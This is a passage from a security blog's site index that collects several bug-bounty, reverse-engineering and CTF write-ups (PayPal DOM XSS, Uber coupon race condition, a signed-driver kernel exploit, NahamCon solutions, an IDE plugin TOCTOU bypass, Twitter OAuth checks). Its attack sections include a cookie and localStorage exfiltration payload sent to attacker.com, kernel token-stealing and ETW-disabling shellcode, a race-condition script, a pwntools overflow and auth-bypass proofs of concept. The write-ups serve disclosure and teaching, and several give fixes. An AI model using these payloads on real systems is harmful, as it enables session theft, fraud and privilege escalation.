# Look for iframe message listeners. Confirm event.origin wasn’t being checked. Check if message values are being passed directly to dangerous sinks. Test javascript: payloads. Deliver payload via iframe to simulate legitimate interaction. Proof of Concept # Basic Exploit # \u0026lt;iframe id=\u0026#34;paypal\u0026#34; src=\u0026#34;https://www.paypal.com/checkout?token=ABC123\u0026#34; style=\u0026#34;display:none;\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;script\u0026gt; setTimeout(() =\u0026gt; { const payload = { action: \u0026#34;checkout-redirect\u0026#34;, data: { url: \u0026#34;javascript:alert(document.domain)\u0026#34; } }; document.getElementById(\u0026#39;paypal\u0026#39;).contentWindow.postMessage(payload, \u0026#34;*\u0026#34;); }, 2000); \u0026lt;/script\u0026gt; Advanced Attack Scenario # const exploit = () =\u0026gt; { const stealCredentials = () =\u0026gt; { return btoa(JSON.stringify({ cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage) })); }; const payload = { action: \u0026#34;checkout-redirect\u0026#34;, data: { url: `javascript:fetch(\u0026#39;https://attacker.com/exfil\u0026#39;, { method: \u0026#39;POST\u0026#39;, body: \u0026#39;${stealCredentials()}\u0026#39; })` } }; frames[0].postMessage(payload, \u0026#39;*\u0026#39;); }; window.onload = () =\u0026gt; setTimeout(exploit, 1500); Impact Analysis # Exploitable Outcomes # Session Hijacking\nSeverity: Critical\nCookies, tokens, or anything in localStorage can be exfiltrated.\nPayment Redirection\nSeverity: High\nThe attacker can redirect users during checkout.\nCredential Phishing\nSeverity: Medium\nThe iframe can be used to inject phishing prompts.\nAffected Components # PayPal Checkout Iframe (v3.12.1 – v3.14.0) Both sandbox and production environments Remediation Timeline # Fix Timeline:\nDay 0: Vulnerability reported Day 1: Triaged by PayPal’s security team Day 3: Fix deployed to staging Day 5: Rolled out to production Day 7: Bounty awarded Patch Diff # window.addEventListener(\u0026#39;message\u0026#39;, (e) =\u0026gt; { + const ALLOWED_ORIGINS = [\u0026#39;https://paypal.com\u0026#39;, \u0026#39;https://www.paypal.com\u0026#39;]; + if (!ALLOWED_ORIGINS.includes(e.origin)) return; const { action, payload } = e.data; + if (typeof action !== \u0026#39;string\u0026#39; || typeof payload !== \u0026#39;object\u0026#39;) return; if (action === \u0026#39;checkout-redirect\u0026#39;) { + const url = new URL(payload.url, window.location.href); + if (![\u0026#39;https:\u0026#39;, \u0026#39;http:\u0026#39;].includes(url.protocol)) return; - window.location.href = payload.url; + window.location.href = url.toString(); } }); Security Recommendations # Input Validation\nValidate the message structure rigorously using schemas or TypeScript interfaces.\nOrigin Verification\nAlways validate event.origin against an allowlist.\nOutput Sanitization\nAvoid assigning untrusted URLs to redirection sinks. Use URL() constructor and check the protocol/hostname.\nMonitoring\nDeploy CSP headers. Add event-level logging on postMessage activities.\nAppendix # Full Vulnerable Code # (function() { window.addEventListener(\u0026#39;message\u0026#39;, function(e) { try { const data = JSON.parse(e.data); if (data.cmd === \u0026#39;pp-redirect\u0026#39;) { window.location.href = data.url; } } catch (err) { console.error(\u0026#39;Message parse error\u0026#39;, err); } }); })(); Secure Implementation # (function() { const ALLOWED_COMMANDS = [\u0026#39;pp-redirect\u0026#39;, \u0026#39;pp-close\u0026#39;]; const TRUSTED_ORIGINS = [ \u0026#39;https://www.paypal.com\u0026#39;, \u0026#39;https://paypal.com\u0026#39;, \u0026#39;https://sandbox.paypal.com\u0026#39; ]; window.addEventListener(\u0026#39;message\u0026#39;, function(e) { if (!TRUSTED_ORIGINS.includes(e.origin)) return; let data; try { data = JSON.parse(e.data); if (!data || typeof data !== \u0026#39;object\u0026#39;) return; if (!ALLOWED_COMMANDS.includes(data.cmd)) return; if (data.cmd === \u0026#39;pp-redirect\u0026#39;) { const url = new URL(data.url, window.location.href); if (![\u0026#39;https:\u0026#39;, \u0026#39;http:\u0026#39;].includes(url.protocol)) return; if (!url.hostname.endsWith(\u0026#39;.paypal.com\u0026#39;)) return; window.location.assign(url.toString()); } } catch (err) { console.error(\u0026#39;Security error processing message\u0026#39;, err); } }); })(); Final Thoughts # This one was clean — no over-engineering, no convoluted steps.\nJust an unguarded bridge between the iframe and the main window.\nFrom a simple postMessage listener to a full DOM-based XSS exploit.\nIt was quiet. It was effective. And it lived inside a trusted flow.\nAll it took was trust. And they trusted every message.\n","date":"2023-07-24","externalUrl":null,"permalink":"/bugbounty/paypal/","section":"BugBounties","summary":"\u003ch1 class=\"relative group\"\u003eSilent Payloads: DOM-Based XSS in PayPal’s Checkout \n    \u003cdiv id=\"silent-payloads-dom-based-xss-in-paypals-checkout\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#silent-payloads-dom-based-xss-in-paypals-checkout\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHow a routine evening review of \u003ccode\u003epostMessage\u003c/code\u003e logic in third-party iframes spiraled into a silent, weaponizable DOM XSS — tucked neatly within a trusted payment flow.\u003c/p\u003e","title":"Silent Payloads: DOM-Based XSS in PayPal’s Checkout","type":"bugbounty"},{"content":" Prologue: 12:57 AM # The apartment was quiet. I was not hunting vulnerabilities or replaying traffic with aggressive fuzzing. It was more observational – that rare and quiet mindset that often reveals misbehavior where others only see clean execution.\nOn one side of my screen was Uber’s app. On the other, Burp Suite running silently, intercepting HTTP requests in passive mode\u0026hellip;\nThat difference in timing triggered a deeper question.\nWas the backend state being updated only after the coupon logic passed? Was the validation being done after the request hit the endpoint – instead of ahead of it?\nThe hypothesis was simple: if two identical requests were sent at the exact same moment, would both pass the validation check before either had the chance to mark the coupon as used?\nThis was the beginning of the race condition theory.\nChapter One: Analyzing the Endpoint # Using Burp Suite, I intercepted the coupon redemption API call. The structure was standard.\nPOST /api/redeem HTTP/1.1 Host: api.uber.com Authorization: Bearer \u0026lt;access_token\u0026gt; Content-Type: application/json { \u0026#34;coupon_code\u0026#34;: \u0026#34;FIRST100\u0026#34; } The server responded:\n{ \u0026#34;status\u0026#34;: \u0026#34;success\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;Coupon FIRST100 applied successfully.\u0026#34; } Subsequent attempts failed with:\n{ \u0026#34;status\u0026#34;: \u0026#34;failed\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;This coupon has already been redeemed.\u0026#34; } Chapter Two: Understanding the Vulnerability # Most race conditions arise from shared state without proper synchronization.\nif coupon.is_valid and not coupon.is_used: apply_coupon_to_account(user) coupon.is_used = True This appears correct, but it fails under concurrency.\nChapter Three: Building the Exploit # I wrote a multithreaded Python script to fire concurrent requests using the same coupon code.\nimport requests import threading url = \u0026#34;https://api.uber.com/api/redeem\u0026#34; headers = { \u0026#34;Authorization\u0026#34;: \u0026#34;Bearer \u0026lt;ACCESS_TOKEN\u0026gt;\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34; } data = { \u0026#34;coupon_code\u0026#34;: \u0026#34;FIRST100\u0026#34; } def send_request(): response = requests.post(url, json=data, headers=headers) print(response.text) threads = [] for _ in range(20): t = threading.Thread(target=send_request) threads.append(t) t.start() for t in threads: t.join() Chapter Four: Scaling the Attack # To test scalability, I tried:\nAsync versions using aiohttp High-value and low-value coupons Account-bound and public promo codes Chapter Five: Real-World Impact # Coupon Limit Bypass: One-time-use coupons were redeemable multiple times.\nFinancial Abuse: Discounts and ride credits could be multiplied.\nAutomation Risk: Scripts with rotating accounts and proxies could cause loss.\nDetection Difficulty: Requests appeared legitimate in isolation.\nChapter Six: Measuring the Race Window # Measured with timestamps:\nMinimum: 90 ms Average: 180–220 ms Max: ~300 ms Chapter Seven: Responsible Disclosure # Submitted via HackerOne with:\nTechnical breakdown Proof-of-concept Suggested fixes Uber confirmed, patched, and validated the fix.\nEven milliseconds matter. # ","date":"2023-06-13","externalUrl":null,"permalink":"/bugbounty/uber/","section":"BugBounties","summary":"\u003ch2 class=\"relative group\"\u003e\u003cstrong\u003ePrologue: 12:57 AM\u003c/strong\u003e \n    \u003cdiv id=\"prologue-1257-am\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue-1257-am\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003chr\u003e\n\u003cp\u003eThe apartment was quiet. I was not hunting vulnerabilities or replaying traffic with aggressive fuzzing. It was more observational – that rare and quiet mindset that often reveals misbehavior where others only see clean execution.\u003c/p\u003e","title":"12:57 AM and a Concurrency Fault: How I Exploited Uber’s Coupon Redemption Logic","type":"bugbounty"},{"content":"","date":"2023-06-13","externalUrl":null,"permalink":"/categories/api-exploitation/","section":"Categories","summary":"","title":"API Exploitation","type":"categories"},{"content":"","date":"2023-06-13","externalUrl":null,"permalink":"/categories/concurrency-vulnerabilities/","section":"Categories","summary":"","title":"Concurrency Vulnerabilities","type":"categories"},{"content":"","date":"2023-06-13","externalUrl":null,"permalink":"/tags/coupon-abuse/","section":"Tags","summary":"","title":"Coupon Abuse","type":"tags"},{"content":"","date":"2023-06-13","externalUrl":null,"permalink":"/tags/race-condition/","section":"Tags","summary":"","title":"Race Condition","type":"tags"},{"content":"","date":"2023-06-13","externalUrl":null,"permalink":"/categories/security-research/","section":"Categories","summary":"","title":"Security Research","type":"categories"},{"content":"","date":"2023-06-13","externalUrl":null,"permalink":"/tags/threading/","section":"Tags","summary":"","title":"Threading","type":"tags"},{"content":"","date":"2023-06-13","externalUrl":null,"permalink":"/tags/timing-attack/","section":"Tags","summary":"","title":"Timing Attack","type":"tags"},{"content":"","date":"2023-06-13","externalUrl":null,"permalink":"/tags/uber/","section":"Tags","summary":"","title":"Uber","type":"tags"},{"content":"","date":"2023-06-10","externalUrl":null,"permalink":"/categories/kernel-exploitation/","section":"Categories","summary":"","title":"Kernel Exploitation","type":"categories"},{"content":"","date":"2023-06-10","externalUrl":null,"permalink":"/tags/kernel-exploits/","section":"Tags","summary":"","title":"Kernel Exploits","type":"tags"},{"content":"","date":"2023-06-10","externalUrl":null,"permalink":"/tags/signed-drivers/","section":"Tags","summary":"","title":"Signed Drivers","type":"tags"},{"content":" Signed Driver Exploit in XLogDriver.sys (x64 Kernel) # Prologue: A Signed Invitation to Ring-0 # This one hit different. I was sifting through a bunch of random vendor drivers, most of them dusty utilities for things like USB logs and peripheral diagnostics. Nothing fancy. But one caught my eye: XLogDriver.sys.\nIt was signed. Legitimately. Which meant if it had a bug, it could be loaded on pretty much any modern Windows box without triggering Driver Signature Enforcement.\nGame on.\nDiscovery — The IOCTL That Trusted Too Much # Using IDA Pro and WinDbg, I reversed the main HandleIoctl function. It was small, compact, and terrifying.\nHere’s the relevant disassembly:\nXLogDriver!HandleIoctl: mov rax, [rcx+0x08] ; user-mode ptr mov rdx, [rcx+0x10] ; size mov rdi, kernel_buffer rep movsb ; unsafe Let me break that down:\nrcx points to a user-supplied structure from DeviceIoControl. It pulls a user pointer from [rcx+8] and a size from [rcx+10]. Then it performs a blind rep movsb into a kernel buffer. So yeah, user-controlled data and size directly copied into a privileged memory region, with zero validation.\nExploitation — Smashing Into Ring-0 # I crafted a custom IOCTL request where:\nThe source buffer was a big blob of junk with a carefully placed function pointer. The size field was larger than the kernel buffer it was copying into. Once the overflow hit, it walked into adjacent kernel memory and landed on an IRP structure used by another part of the driver. That IRP contained a function pointer. Guess what I replaced it with?\nYup, my shellcode.\nPayload (Ring-0 Token Stealing) # Here’s the payload I injected to steal SYSTEM token:\n; Token stealing payload for Windows x64 xor rax, rax mov rax, [gs:188h] ; Current _KTHREAD mov rax, [rax+0xb8] ; _EPROCESS structure mov rcx, rax mov rdx, [rcx+0x2f0] ; SYSTEM token from another process mov [rax+0x358], rdx ; Replace current token This gives me full SYSTEM privileges — instantly.\nI used this access to map an unsigned kernel driver of my own, allowing persistent rootkit-like access while the legit signed driver covered my tracks.\nExtra Payload — Disabling ETW (Just for Fun) # After SYSTEM, I threw in another payload that stomped on the ETW registration table:\n; Disable ETW logging to stay invisible mov rcx, qword ptr [ETW_GLOBAL_TABLE] xor rax, rax mov [rcx], rax This made sure no system logs caught what I was doing. Not necessary, but satisfying.\nOutcome # Escalated to SYSTEM by exploiting a signed kernel driver Achieved arbitrary code execution in ring-0 Bypassed Driver Signature Enforcement by piggybacking on the signed driver Disabled logging via ETW tampering Mitigation # This driver should never have been allowed to perform unchecked memory copies with user-controlled sizes. At a minimum:\nValidate buffer sizes before copy Use safer routines like RtlCopyMemory with explicit bounds Avoid trusting IOCTL inputs directly And honestly? Maybe stop signing drivers like this without a proper security audit.\nFinal Thoughts # There\u0026rsquo;s something poetic about turning a legit signed driver into a SYSTEM-level payload delivery mechanism. Windows lets you load it with no questions asked — and all you need is one unchecked copy to flip the entire kernel.\nIn the end, the driver signed itself into my exploit chain.\nSummary # Vulnerability: Unchecked memory copy via IOCTL in signed driver Platform: Windows 10 x64 Technique: Heap overflow to IRP object + function pointer overwrite Payload: Kernel shellcode to steal SYSTEM token Bonus: ETW logging disabled post-exploitation Fix: Size checks, defensive coding in kernel drivers ","date":"2023-06-10","externalUrl":null,"permalink":"/reverseengineering/xlogdriver/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003eSigned Driver Exploit in XLogDriver.sys (x64 Kernel) \n    \u003cdiv id=\"signed-driver-exploit-in-xlogdriversys-x64-kernel\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#signed-driver-exploit-in-xlogdriversys-x64-kernel\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\n\u003ch2 class=\"relative group\"\u003ePrologue: A Signed Invitation to Ring-0 \n    \u003cdiv id=\"prologue-a-signed-invitation-to-ring-0\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue-a-signed-invitation-to-ring-0\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eThis one hit different. I was sifting through a bunch of random vendor drivers, most of them dusty utilities for things like USB logs and peripheral diagnostics. Nothing fancy. But one caught my eye: \u003ccode\u003eXLogDriver.sys\u003c/code\u003e.\u003c/p\u003e","title":"Signed to Compromise: Kernel Overflow in XLogDriver.sys","type":"reverseengineering"},{"content":"","date":"2023-06-10","externalUrl":null,"permalink":"/tags/token-stealing/","section":"Tags","summary":"","title":"Token Stealing","type":"tags"},{"content":"","date":"2023-05-07","externalUrl":null,"permalink":"/tags/mixed-challenges/","section":"Tags","summary":"","title":"Mixed Challenges","type":"tags"},{"content":"","date":"2023-05-07","externalUrl":null,"permalink":"/tags/nahamcon/","section":"Tags","summary":"","title":"NahamCon","type":"tags"},{"content":" 0x00 – Prologue # Sometimes a CTF throws everything at you: logic bugs, broken binaries, half-documented APIs, and the occasional ancient Star Wars meme. NahamCon 2023 was that kind of ride. Our team, SneakBytes, dove in headfirst and came out the other side with a trail of solved challenges, caffeinated brains, and some solid lessons.\nThis writeup focuses on key challenges from Web, Binary, OSINT, and Misc categories.\n0x01 – Obligatory (Web Challenge) # This was a classic web logic challenge. You had a login page and a basic comment board.\nNothing stood out until we noticed this in the JS:\nif (username === \u0026#39;admin\u0026#39; \u0026amp;\u0026amp; password === \u0026#39;Obligatory2023\u0026#39;) { window.location.href = \u0026#34;/super-secret\u0026#34;; } But the /super-secret page returned 403. So the logic must be client-side only.\nTried bypassing using curl:\ncurl -b \u0026#34;auth=admin\u0026#34; https://ctf.nahamcon.com/super-secret Still blocked. Then realized the server wasn’t looking at cookies. It needed a specific X-Auth header:\ncurl -H \u0026#34;X-Auth: Obligatory2023\u0026#34; https://ctf.nahamcon.com/super-secret Boom. Flag dropped.\n0x02 – Stickers (Web Challenge) # Page lets you create a custom sticker from input. Server-side rendering with wkhtmltoimage.\nWe tried payloads like:\n\u0026lt;img src=x onerror=alert(1)\u0026gt; Didn’t pop. But saw this in network logs:\n/sticker?html=\u0026lt;markup\u0026gt; Rendering engine was actually including HTML in a full file:\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; {{ user_input }} \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; So we escalated to SSRF:\n\u0026lt;img src=\u0026#34;http://localhost:1337/admin\u0026#34;\u0026gt; And\u0026hellip; yes. That worked. It leaked the flag.\n0x03 – Star Wars (Web Challenge) # Star Wars API challenge. App queried SWAPI.dev with user input.\nSimple prototype pollution:\n{\u0026#34;__proto__\u0026#34;:{\u0026#34;admin\u0026#34;:true}} Sent this to /api/user, checked /admin endpoint again. Now accessible.\nFlag printed with a Yoda quote. Worth it.\n0x04 – Zombie (Misc Challenge) # This one was different. A binary that simulated zombie attacks. You had to survive the waves by issuing shell commands.\nThe hint: \u0026ldquo;Keep the zombies at bay with knowledge.\u0026rdquo;\nIt was parsing input using system() directly:\nscanf(\u0026#34;%s\u0026#34;, cmd); system(cmd); That meant shell injection.\nPayload:\nsleep 1; cat flag.txt Flag popped on round 3.\n0x05 – Geosint x2 (OSINT) # First one gave a random photo.\nUsed exiftool:\nexiftool image.jpg Found GPS coords. Dropped into Google Maps, saw it was a cafe in Buenos Aires. The chalkboard in the photo had a code on it. That was the flag.\nSecond one had a blurred building.\nUsed tineye to reverse search and then ran it through Yandex Image Search. Turned out to be a museum in Prague. Flag was spray-painted on a wall in the source photo.\n0x06 – Open Sesame (Binary Exploitation) # 32-bit ELF.\nHad this function:\nvoid check_password() { char buf[64]; gets(buf); if (strcmp(buf, \u0026#34;opensesame\u0026#34;) == 0) { printf(\u0026#34;Access granted\\n\u0026#34;); system(\u0026#34;/bin/sh\u0026#34;); } } Straight buffer overflow.\nOverflowed the return address to point at system(\u0026quot;/bin/sh\u0026quot;).\nUsed pwntools:\nfrom pwn import * elf = ELF(\u0026#34;open_sesame\u0026#34;) p = process(\u0026#34;./open_sesame\u0026#34;) payload = b\u0026#34;A\u0026#34; * 76 + p32(elf.symbols[\u0026#39;system\u0026#39;]) + b\u0026#34;JUNK\u0026#34; + p32(next(elf.search(b\u0026#34;/bin/sh\u0026#34;))) p.sendline(payload) p.interactive() Shell dropped, flag grabbed.\n0x07 – Outro # This was a chaotic set of challenges, but fun as hell. Each one made us switch gears: from XSS to binary abuse, from camera metadata to logic bombs.\nLessons?\nNever trust frontend auth SSRF hides in weird places Classic buffer overflows are alive and well Metadata is gold NahamCon never disappoints. This one kept us sharp and gave us some solid writeups.\n0x08 – Tools Used # Burp Suite curl, exiftool, pwntools Yandex/TinEye reverse image search pwndbg / gdb VSCode + insomnia for APIs ","date":"2023-05-07","externalUrl":null,"permalink":"/capturetheflag/nahamcon/","section":"CaptureTheFlags","summary":"\u003ch2 class=\"relative group\"\u003e0x00 – Prologue \n    \u003cdiv id=\"0x00--prologue\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#0x00--prologue\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eSometimes a CTF throws everything at you: logic bugs, broken binaries, half-documented APIs, and the occasional ancient Star Wars meme. NahamCon 2023 was that kind of ride. Our team, SneakBytes, dove in headfirst and came out the other side with a trail of solved challenges, caffeinated brains, and some solid lessons.\u003c/p\u003e","title":"NahamCon CTF 2023 – Multiple Challenges","type":"capturetheflag"},{"content":"","date":"2023-05-07","externalUrl":null,"permalink":"/tags/pwn/","section":"Tags","summary":"","title":"Pwn","type":"tags"},{"content":"","date":"2023-05-07","externalUrl":null,"permalink":"/tags/web/","section":"Tags","summary":"","title":"Web","type":"tags"},{"content":"","date":"2023-04-11","externalUrl":null,"permalink":"/categories/binary-exploitation/","section":"Categories","summary":"","title":"Binary Exploitation","type":"categories"},{"content":"","date":"2023-04-11","externalUrl":null,"permalink":"/categories/plugin-security/","section":"Categories","summary":"","title":"Plugin Security","type":"categories"},{"content":" Signature Bypass in CodeWorks IDE Plugin Loader # Prologue: Not All Checks Are Made Equal # It started with curiosity, like it usually does. I wasn’t even targeting CodeWorks specifically. I was just bouncing around dev tools I had lying around — checking how they loaded plugins, how they validated them, and if they did anything\u0026hellip; out of order.\nThat’s how this one fell into my lap. CodeWorks IDE v3.8 — a fairly common IDE with support for third-party plugins. It looked polished. Fancy GUI, nice dark mode. But underneath that gloss? One misplaced assumption.\nFirst Clue: Signature Validation # I fired up x64dbg and dropped a breakpoint on CreateFileW, just to see how it was loading its plugin DLLs. What caught my eye was how neatly the plugin was being validated before loading.\n.text:140012000 load_plugin proc near .text:140012000 mov rax, [rsp+arg_0] ; plugin path .text:140012005 call validate_sig .text:14001200A test eax, eax .text:14001200C jz short load_abort .text:14001200E call load_pe_image So it did validate the plugin. All good, right?\nNot quite.\nThe Gap – Time of Check vs Time of Use # Here’s what went through my head:\nStep 1: It reads the plugin from disk Step 2: It checks the signature Step 3: If valid, it loads the plugin again using load_pe_image That’s two separate disk reads. Two file accesses. Two chances for me to sneak something in between.\nThis is the classic TOCTOU — Time of Check to Time of Use — in the flesh. The validation step looked at one version of the file. The load step could easily load a different one if I was fast enough.\nExploitation Strategy – Old Trick, New Wrapper # I built two DLLs:\nOne signed with a dev certificate (dummy plugin) One completely unsigned and malicious The goal was to:\nLet CodeWorks validate the signed one Immediately swap in the unsigned one before it loads the plugin Profit This isn’t new. We’ve seen it with privilege escalation bugs. But here it was, hiding inside an IDE plugin loader.\nI wrote a quick swapper in Python to monitor when CodeWorks opened the file and rapidly swap it before the second open.\nThe Payload – Just Enough to Show It Worked # This was my injected assembly inside the malicious DLL\u0026rsquo;s entry point:\nxor rax, rax mov rdi, rsp sub rsp, 0x100 lea rbx, [rip+payload] call rbx payload: ; write to memory, open reverse shell, etc. This could have been anything — reverse shell, keylogger, memory patch. But I kept it simple to prove execution.\nOutcome: No Signature, No Problem # After the swap, CodeWorks loaded my unsigned plugin into its process. No complaints, no alerts. It trusted the result of validate_sig without revalidating the actual file it loaded.\nI had arbitrary code execution inside the IDE.\nImpact # This kind of issue could:\nAllow unsigned plugins in otherwise locked-down enterprise environments Let attackers inject malicious payloads into the IDE Possibly pivot to other dev tools, depending on plugin privileges What Should Have Happened # The loader should have:\nValidated the actual in-memory file being loaded Used a single open handle from start to finish Avoided TOCTOU entirely by loading from memory buffer after validation Final Thoughts # Sometimes the biggest bugs aren’t low-level overflows or exotic kernel tricks. They’re just someone assuming that a file won’t change between two steps.\nIt only took a fraction of a second — and the right DLL was in the wrong place.\nSummary # Vulnerability: Signature check bypass via TOCTOU Platform: Windows x64 (CodeWorks IDE 3.8) Technique: Swap plugin DLL after validation but before loading Impact: Unsigned arbitrary code execution in IDE Fix: Avoid TOCTOU, use same memory or file handle after validation ","date":"2023-04-11","externalUrl":null,"permalink":"/reverseengineering/codeworks/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003eSignature Bypass in CodeWorks IDE Plugin Loader \n    \u003cdiv id=\"signature-bypass-in-codeworks-ide-plugin-loader\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#signature-bypass-in-codeworks-ide-plugin-loader\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\n\u003ch2 class=\"relative group\"\u003ePrologue: Not All Checks Are Made Equal \n    \u003cdiv id=\"prologue-not-all-checks-are-made-equal\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue-not-all-checks-are-made-equal\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eIt started with curiosity, like it usually does. I wasn’t even targeting CodeWorks specifically. I was just bouncing around dev tools I had lying around — checking how they loaded plugins, how they validated them, and if they did anything\u0026hellip; out of order.\u003c/p\u003e","title":"Signed Once, Loaded Twice: Plugin Signature Bypass in CodeWorks IDE","type":"reverseengineering"},{"content":"","date":"2023-04-11","externalUrl":null,"permalink":"/tags/toctou/","section":"Tags","summary":"","title":"TOCTOU","type":"tags"},{"content":"","date":"2023-04-07","externalUrl":null,"permalink":"/categories/authentication/","section":"Categories","summary":"","title":"Authentication","type":"categories"},{"content":" Prologue: The Midnight Prelude # 1:09 AM - My dimly-lit home office\nThe rhythmic tapping of my mechanical keyboard punctuated the silence of the night. Before me, my monitor displayed a terminal window with a half-written Python script for tweet analysis. The glow of the screen reflected off my reading glasses as I absentmindedly reached for my fourth cup of coffee, only to find it had long gone cold.\nThis wasn\u0026rsquo;t supposed to be a security investigation. I was simply trying to understand Twitter\u0026rsquo;s API rate limits for a personal data visualization project. But as I examined the OAuth flow more closely, something felt\u0026hellip; off.\nPhase 1: The First Anomaly # Initial Observations # I was working with Twitter\u0026rsquo;s OAuth 1.0a implementation - the legacy system that still powered many of their core functions. While testing authentication headers, I noticed inconsistent behavior between endpoints:\nimport requests # Properly signed request auth_header = \u0026#39;OAuth oauth_consumer_key=\u0026#34;VALID_KEY\u0026#34;, oauth_signature=\u0026#34;VALID_SIG\u0026#34;\u0026#39; response = requests.get(\u0026#39;https://api.twitter.com/1.1/account/verify_credentials.json\u0026#39;, headers={\u0026#39;Authorization\u0026#39;: auth_header}) print(response.status_code) # 200 OK (expected) # Malformed signature bad_auth = \u0026#39;OAuth oauth_consumer_key=\u0026#34;VALID_KEY\u0026#34;, oauth_signature=\u0026#34;GARBAGE_VALUE\u0026#34;\u0026#39; response = requests.get(\u0026#39;https://api.twitter.com/1.1/account/settings.json\u0026#39;, headers={\u0026#39;Authorization\u0026#39;: bad_auth}) print(response.status_code) # 200 OK (unexpected) Mental Note: \u0026ldquo;Why is the settings endpoint accepting invalid signatures when verify_credentials rejects them?\u0026rdquo;\nDeepening Suspicion # Over the next hour, I methodically tested various endpoints, documenting which ones properly validated signatures and which didn\u0026rsquo;t. My notebook quickly filled with observations:\n/account/verify_credentials.json: Strict validation /account/settings.json: No signature validation /statuses/user_timeline.json: Partial validation /direct_messages.json: Token required but signature optional Growing Concern: \u0026ldquo;This isn\u0026rsquo;t just a bug - it\u0026rsquo;s a systemic inconsistency in their auth layer.\u0026rdquo;\nPhase 2: Systematic Investigation # Understanding the Scope # I expanded my testing to include:\nMinimum Viable Authentication\nTesting what was absolutely required to access each endpoint:\nJust consumer key Consumer key + invalid signature Full credentials Endpoint Behavior Analysis\nCategorizing endpoints by their authentication requirements:\nStrict (proper OAuth 1.0a) Lax (consumer key only) Mixed (some checks but not all) Data Exposure Assessment\nDetermining what information could be accessed through weaker authentication paths\nThe Critical Finding # After three hours of testing, a pattern emerged:\n# Minimal authentication that worked on certain endpoints minimal_auth = \u0026#39;OAuth oauth_consumer_key=\u0026#34;VALID_KEY\u0026#34;\u0026#39; response = requests.get(\u0026#39;https://api.twitter.com/1.1/account/settings.json\u0026#39;, headers={\u0026#39;Authorization\u0026#39;: minimal_auth}) print(response.json()) # Full account settings! Realization: \u0026ldquo;Any application\u0026rsquo;s consumer key could potentially be used to access user data without proper authorization.\u0026rdquo;\nPhase 3: Vulnerability Confirmation # Proof of Concept Development # I constructed a minimal exploit demonstrating the impact:\ndef exploit_twitter_auth(consumer_key): endpoints = [ \u0026#39;account/verify_credentials.json\u0026#39;, \u0026#39;account/settings.json\u0026#39;, \u0026#39;statuses/user_timeline.json\u0026#39;, \u0026#39;direct_messages.json\u0026#39; ] results = {} for endpoint in endpoints: headers = {\u0026#39;Authorization\u0026#39;: f\u0026#39;OAuth oauth_consumer_key=\u0026#34;{consumer_key}\u0026#34;\u0026#39;} response = requests.get(f\u0026#39;https://api.twitter.com/1.1/{endpoint}\u0026#39;, headers=headers) results[endpoint] = { \u0026#39;status\u0026#39;: response.status_code, \u0026#39;data\u0026#39;: response.json() if response.status_code == 200 else None } return results Ethical Consideration: \u0026ldquo;I need to be extremely careful with this. No actual testing with real user data.\u0026rdquo;\nImpact Assessment # The vulnerability enabled several attack scenarios:\nAPI Key Leakage Exploitation\nCompromised consumer keys could be used beyond their intended scope\nData Exposure\nUnauthorized access to:\nUser profiles Account settings Timeline data Rate Limit 